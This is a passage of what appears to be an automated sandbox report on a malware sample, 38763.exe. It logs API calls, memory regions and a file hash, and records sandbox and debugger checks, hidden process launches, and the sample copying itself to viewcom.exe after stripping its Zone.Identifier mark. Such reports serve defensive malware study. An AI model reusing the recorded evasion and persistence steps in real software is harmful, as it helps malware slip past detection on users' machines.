Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = lstrcmpA, address_out = 0x76388c59 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CreateFileA, address_out = 0x7639cee8 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CloseHandle, address_out = 0x7639ca7c | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetModuleHandleA, address_out = 0x7639cf41 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetModuleFileNameA, address_out = 0x763a33f6 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetComputerNameA, address_out = 0x76386ba9 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetComputerNameExA, address_out = 0x763df41f | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetCommandLineA, address_out = 0x763a98ff | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = FreeConsole, address_out = 0x763fbfde | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = VirtualAlloc, address_out = 0x763a2fb6 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = IsDebuggerPresent, address_out = 0x76393ea8 | 1 |
Fn
|
|
Module | Load | module_name = ADVAPI32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = GetUserNameA, address_out = 0x7605a4b4 | 1 |
Fn
|
|
Module | Load | module_name = SHLWAPI.dll, base_address = 0x760e0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\shlwapi.dll, function = StrStrIA, address_out = 0x760ed250 | 1 |
Fn
|
|
Debug | Check for Presence | c:\users\atveyd~1\appdata\local\temp\38763.exe | 249 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Debug | Check for Presence | c:\users\atveyd~1\appdata\local\temp\38763.exe | 249 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZJEWV7F | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZjEwV7f, type = ComputerNameDnsHostname | 1 |
Fn
|
|
File | Create | filename = C:\email.doc, desired_access = GENERIC_READ | 1 |
Fn
|
|
File | Create | filename = C:\a\foobar.bmp, desired_access = GENERIC_READ | 1 |
Fn
|
|
Module | Get Handle | module_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, base_address = 0x400000 | 1 |
Fn
|
|
Module | Get Filename | module_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, process_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, file_name_orig = C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, size = 259 | 1 |
Fn
|
|
Debug | Check for Presence | c:\users\atveyd~1\appdata\local\temp\38763.exe | 249 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = KERNEL32.dll, base_address = 0x76350000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = WTSGetActiveConsoleSessionId, address_out = 0x7638480b | 1 |
Fn
|
|
Module | Get Filename | process_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, file_name_orig = C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, size = 260 | 1 |
Fn
|
|
Mutex | Create | mutex_name = MF6003E70 | 1 |
Fn
|
|
Process | Create | process_name = C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, os_pid = 0xb74, startup_flags = STARTF_FORCEOFFFEEDBACK, show_window = SW_HIDE | 1 |
Fn
|
Information | Value |
---|---|
ID | #4 |
File Name | c:\users\atveyd~1\appdata\local\temp\38763.exe |
Command Line | "C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe" |
Initial Working Directory | C:\Users\ATVeyDl98Z\Desktop\ |
Monitor | Start Time: 00:00:57, Reason: Child Process |
Unmonitor | End Time: 00:02:34, Reason: Terminated by Timeout |
Monitor Duration | 00:01:37 |
Information | Value |
---|---|
PID | 0xb74 |
Parent PID | 0xb60 (c:\users\atveyd~1\appdata\local\temp\38763.exe) |
Is Created or Modified Executable | |
Integrity Level | Medium |
Username | ZJEWV7F\ATVeyDl98Z |
Groups |
|
Enabled Privileges | SeChangeNotifyPrivilege |
Thread IDs |
0x
B78
0x
B7C
0x
B80
0x
B84
0x
B88
|
Name | Start VA | End VA | Type | Permissions | Monitored | Dump | YARA Match | Actions |
---|---|---|---|---|---|---|---|---|
private_0x0000000000010000 | 0x00010000 | 0x0002ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000010000 | 0x00010000 | 0x0001ffff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000020000 | 0x00020000 | 0x00020fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000030000 | 0x00030000 | 0x0012ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000130000 | 0x00130000 | 0x00133fff | Pagefile Backed Memory | Readable |
|
|||
locale.nls | 0x00140000 | 0x001a6fff | Memory Mapped File | Readable |
|
|||
private_0x00000000001b0000 | 0x001b0000 | 0x001b0fff | Private Memory | Readable, Writable |
|
|||
private_0x00000000001c0000 | 0x001c0000 | 0x001cdfff | Private Memory | Readable, Writable |
|
|||
private_0x00000000001d0000 | 0x001d0000 | 0x001dcfff | Private Memory | Readable, Writable, Executable |
|
|||
private_0x00000000001e0000 | 0x001e0000 | 0x001ecfff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000001f0000 | 0x001f0000 | 0x001f0fff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000200000 | 0x00200000 | 0x0020ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000210000 | 0x00210000 | 0x00224fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000210000 | 0x00210000 | 0x00211fff | Pagefile Backed Memory | Readable |
|
|||
windowsshell.manifest | 0x00220000 | 0x00220fff | Memory Mapped File | Readable |
|
|||
pagefile_0x0000000000220000 | 0x00220000 | 0x00220fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000230000 | 0x00230000 | 0x00231fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000240000 | 0x00240000 | 0x00240fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000250000 | 0x00250000 | 0x0025ffff | Private Memory | Readable, Writable |
|
|||
cversions.1.db | 0x00260000 | 0x00263fff | Memory Mapped File | Readable |
|
|||
cversions.2.db | 0x00260000 | 0x00263fff | Memory Mapped File | Readable |
|
|||
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db | 0x00270000 | 0x0028ffff | Memory Mapped File | Readable |
|
|||
pagefile_0x0000000000290000 | 0x00290000 | 0x00290fff | Pagefile Backed Memory | Readable, Writable |
|
|||
cversions.2.db | 0x002a0000 | 0x002a3fff | Memory Mapped File | Readable |
|
|||
private_0x00000000002b0000 | 0x002b0000 | 0x003affff | Private Memory | Readable, Writable |
|
|||
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000f.db | 0x003b0000 | 0x003dffff | Memory Mapped File | Readable |
|
|||
pagefile_0x00000000003e0000 | 0x003e0000 | 0x003e0fff | Pagefile Backed Memory | Readable, Writable |
|
|||
pagefile_0x00000000003e0000 | 0x003e0000 | 0x003e6fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x00000000003f0000 | 0x003f0000 | 0x003f1fff | Pagefile Backed Memory | Readable, Writable |
|
|||
38763.exe | 0x00400000 | 0x00415fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pagefile_0x0000000000420000 | 0x00420000 | 0x004e7fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x00000000004f0000 | 0x004f0000 | 0x005f0fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000600000 | 0x00600000 | 0x011fffff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000001200000 | 0x01200000 | 0x012fffff | Private Memory | Readable, Writable |
|
|||
sortdefault.nls | 0x01300000 | 0x015cefff | Memory Mapped File | Readable |
|
|||
private_0x00000000015d0000 | 0x015d0000 | 0x016cffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000016d0000 | 0x016d0000 | 0x017cffff | Private Memory | Readable, Writable |
|
|||
rpcss.dll | 0x017d0000 | 0x0182bfff | Memory Mapped File | Readable |
|
|||
rpcss.dll | 0x017d0000 | 0x0182bfff | Memory Mapped File | Readable |
|
|||
private_0x00000000017d0000 | 0x017d0000 | 0x0194ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000017d0000 | 0x017d0000 | 0x018aefff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x00000000018b0000 | 0x018b0000 | 0x018b0fff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000001910000 | 0x01910000 | 0x0194ffff | Private Memory | Readable, Writable |
|
|||
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db | 0x01950000 | 0x019b5fff | Memory Mapped File | Readable |
|
|||
pagefile_0x00000000019c0000 | 0x019c0000 | 0x01db2fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000001dc0000 | 0x01dc0000 | 0x01ebffff | Private Memory | Readable, Writable |
|
|||
winspool.drv | 0x6d400000 | 0x6d450fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
webio.dll | 0x6f5b0000 | 0x6f5fefff | Memory Mapped File | Readable, Writable, Executable |
|
|||
winhttp.dll | 0x6f600000 | 0x6f657fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
uxtheme.dll | 0x73cf0000 | 0x73d2ffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wtsapi32.dll | 0x741a0000 | 0x741acfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ntmarta.dll | 0x74460000 | 0x74480fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
propsys.dll | 0x745b0000 | 0x746a4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
comctl32.dll | 0x746f0000 | 0x7488dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
userenv.dll | 0x74dc0000 | 0x74dd6fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
cryptsp.dll | 0x751e0000 | 0x751f5fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sspicli.dll | 0x75640000 | 0x7565afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
cryptbase.dll | 0x75660000 | 0x7566bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
profapi.dll | 0x75710000 | 0x7571afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msasn1.dll | 0x75780000 | 0x7578bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
devobj.dll | 0x75790000 | 0x757a1fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
crypt32.dll | 0x757b0000 | 0x758ccfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernelbase.dll | 0x758d0000 | 0x75919fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
cfgmgr32.dll | 0x759b0000 | 0x759d6fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
usp10.dll | 0x75a70000 | 0x75b0cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
lpk.dll | 0x75b10000 | 0x75b19fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rpcrt4.dll | 0x75b60000 | 0x75c00fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
user32.dll | 0x75c10000 | 0x75cd8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
urlmon.dll | 0x75ce0000 | 0x75e15fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
iertutil.dll | 0x75e30000 | 0x7602afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
advapi32.dll | 0x76030000 | 0x760cffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shlwapi.dll | 0x760e0000 | 0x76136fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wldap32.dll | 0x76140000 | 0x76184fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
setupapi.dll | 0x76190000 | 0x7632cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sechost.dll | 0x76330000 | 0x76348fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernel32.dll | 0x76350000 | 0x76423fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
clbcatq.dll | 0x76460000 | 0x764e2fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shell32.dll | 0x764f0000 | 0x77139fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
imm32.dll | 0x77140000 | 0x7715efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wininet.dll | 0x771e0000 | 0x772d4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msctf.dll | 0x772e0000 | 0x773abfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcrt.dll | 0x773b0000 | 0x7745bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ole32.dll | 0x77460000 | 0x775bbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ntdll.dll | 0x775c0000 | 0x776fbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
gdi32.dll | 0x77710000 | 0x7775dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
oleaut32.dll | 0x77760000 | 0x777eefff | Memory Mapped File | Readable, Writable, Executable |
|
|||
apisetschema.dll | 0x77800000 | 0x77800fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pagefile_0x000000007f6f0000 | 0x7f6f0000 | 0x7f7effff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x000000007ffb0000 | 0x7ffb0000 | 0x7ffd2fff | Pagefile Backed Memory | Readable |
|
|||
private_0x000000007ffda000 | 0x7ffda000 | 0x7ffdafff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdb000 | 0x7ffdb000 | 0x7ffdbfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdc000 | 0x7ffdc000 | 0x7ffdcfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdd000 | 0x7ffdd000 | 0x7ffddfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffde000 | 0x7ffde000 | 0x7ffdefff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdf000 | 0x7ffdf000 | 0x7ffdffff | Private Memory | Readable, Writable |
|
Filename | File Size | Hash Values | YARA Match | Actions |
---|---|---|---|---|
c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 84.00 KB (86016 bytes) |
MD5:
1b1e6729790854252dfba6c77f198a4e
SHA1: 327c94b435802f77d12913956b28c70d00ab2de5 SHA256: 3939227998b7986b481eb9bc1a10dd1c5c02fc7ff9edbd25ad86a61307186d98 |
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Get Address | function = VirtualAlloc, ordinal = 0, address_out = 0x12fd10 | 1 |
Fn
|
|
Module | Get Address | function = VirtualAlloc, ordinal = 0, address_out = 0x12fd50 | 1 |
Fn
|
|
Module | Get Address | function = LoadLibraryA, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = GetProcAddress, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = VirtualAlloc, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = VirtualProtect, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = UnmapViewOfFile, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = AddVectoredExceptionHandler, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = RemoveVectoredExceptionHandler, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Load | module_name = ntdll.dll, base_address = 0x775c0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\ntdll.dll, function = cos, address_out = 0x77607400 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\ntdll.dll, function = sin, address_out = 0x775f41c0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\ntdll.dll, function = strchr, address_out = 0x77607690 | 1 |
Fn
|
|
Module | Load | module_name = KERNEL32.dll, base_address = 0x76350000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = LoadLibraryA, address_out = 0x763a395c | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = lstrcmpA, address_out = 0x76388c59 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CreateFileA, address_out = 0x7639cee8 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CloseHandle, address_out = 0x7639ca7c | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetModuleHandleA, address_out = 0x7639cf41 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetModuleFileNameA, address_out = 0x763a33f6 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetComputerNameA, address_out = 0x76386ba9 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetComputerNameExA, address_out = 0x763df41f | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetCommandLineA, address_out = 0x763a98ff | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = FreeConsole, address_out = 0x763fbfde | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = VirtualAlloc, address_out = 0x763a2fb6 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = IsDebuggerPresent, address_out = 0x76393ea8 | 1 |
Fn
|
|
Module | Load | module_name = ADVAPI32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = GetUserNameA, address_out = 0x7605a4b4 | 1 |
Fn
|
|
Module | Load | module_name = SHLWAPI.dll, base_address = 0x760e0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\shlwapi.dll, function = StrStrIA, address_out = 0x760ed250 | 1 |
Fn
|
|
Debug | Check for Presence | c:\users\atveyd~1\appdata\local\temp\38763.exe | 249 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZJEWV7F | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZjEwV7f, type = ComputerNameDnsHostname | 1 |
Fn
|
|
File | Create | filename = C:\email.doc, desired_access = GENERIC_READ | 1 |
Fn
|
|
File | Create | filename = C:\a\foobar.bmp, desired_access = GENERIC_READ | 1 |
Fn
|
|
Module | Get Handle | module_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, base_address = 0x400000 | 1 |
Fn
|
|
Module | Get Filename | module_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, process_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, file_name_orig = C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, size = 259 | 1 |
Fn
|
|
Debug | Check for Presence | c:\users\atveyd~1\appdata\local\temp\38763.exe | 249 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = KERNEL32.dll, base_address = 0x76350000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = WTSGetActiveConsoleSessionId, address_out = 0x7638480b | 1 |
Fn
|
|
Module | Get Filename | process_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, file_name_orig = C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, size = 260 | 1 |
Fn
|
|
Mutex | Create | mutex_name = MF6003E70 | 1 |
Fn
|
|
Module | Load | module_name = advapi32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Load | module_name = ole32.dll, base_address = 0x77460000 | 1 |
Fn
|
|
Module | Load | module_name = shell32.dll, base_address = 0x764f0000 | 1 |
Fn
|
|
Module | Load | module_name = crypt32.dll, base_address = 0x757b0000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = userenv.dll, base_address = 0x74dc0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = wtsapi32.dll, base_address = 0x741a0000 | 1 |
Fn
|
|
System | Get Info | type = Windows Directory, result_out = C:\Windows | 1 |
Fn
|
|
Module | Get Filename | process_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, file_name_orig = C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, size = 260 | 1 |
Fn
|
|
Service | Open Manager | database_name = SERVICES_ACTIVE_DATABASE | 1 |
Fn
|
|
File | Create | filename = C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
Module | Create Mapping | module_name = C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, filename = C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, protection = PAGE_READONLY, maximum_size = 0 | 1 |
Fn
|
|
Module | Map | C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, process_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, desired_access = FILE_MAP_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, type = size | 1 |
Fn
|
|
Module | Unmap | process_name = c:\users\atveyd~1\appdata\local\temp\38763.exe | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZJEWV7F | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\I40F77A1B | 1 |
Fn
|
|
Mutex | Create | mutex_name = Global\M40F77A1B | 1 |
Fn
|
|
Mutex | Release | mutex_name = Global\I40F77A1B | 1 |
Fn
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
File | Get Info | filename = C:\, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\, type = file_attributes | 1 |
Fn
|
|
File | Move | source_filename = C:\Users\ATVEYD~1\AppData\Local\Temp\38763.exe, destination_filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe | 1 |
Fn
|
|
File | Delete | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe:Zone.Identifier | 1 |
Fn
|
|
Process | Create | process_name = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, os_pid = 0xb8c, startup_flags = STARTF_FORCEOFFFEEDBACK, show_window = SW_HIDE | 1 |
Fn
|
Information | Value |
---|---|
ID | #5 |
File Name | c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe |
Command Line | "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" |
Initial Working Directory | C:\Users\ATVeyDl98Z\Desktop\ |
Monitor | Start Time: 00:01:01, Reason: Child Process |
Unmonitor | End Time: 00:02:34, Reason: Terminated by Timeout |
Monitor Duration | 00:01:33 |
Information | Value |
---|---|
PID | 0xb8c |
Parent PID | 0xb74 (c:\users\atveyd~1\appdata\local\temp\38763.exe) |
Is Created or Modified Executable | |
Integrity Level | Medium |
Username | ZJEWV7F\ATVeyDl98Z |
Groups |
|
Enabled Privileges | SeChangeNotifyPrivilege |
Thread IDs |
0x
B90
0x
B94
|
Name | Start VA | End VA | Type | Permissions | Monitored | Dump | YARA Match | Actions |
---|---|---|---|---|---|---|---|---|
private_0x0000000000010000 | 0x00010000 | 0x0002ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000010000 | 0x00010000 | 0x0001ffff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000020000 | 0x00020000 | 0x00020fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000030000 | 0x00030000 | 0x0012ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000130000 | 0x00130000 | 0x00133fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000140000 | 0x00140000 | 0x00140fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000150000 | 0x00150000 | 0x0015dfff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000160000 | 0x00160000 | 0x0016cfff | Private Memory | Readable, Writable, Executable |
|
|||
private_0x0000000000170000 | 0x00170000 | 0x0017cfff | Private Memory | Readable, Writable |
|
|||
private_0x00000000001a0000 | 0x001a0000 | 0x0029ffff | Private Memory | Readable, Writable |
|
|||
locale.nls | 0x002a0000 | 0x00306fff | Memory Mapped File | Readable |
|
|||
pagefile_0x0000000000310000 | 0x00310000 | 0x003d7fff | Pagefile Backed Memory | Readable |
|
|||
38763.exe | 0x00400000 | 0x00415fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pagefile_0x0000000000420000 | 0x00420000 | 0x00520fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000580000 | 0x00580000 | 0x0058ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000590000 | 0x00590000 | 0x0118ffff | Pagefile Backed Memory | Readable |
|
|||
private_0x00000000011f0000 | 0x011f0000 | 0x011fffff | Private Memory | Readable, Writable |
|
|||
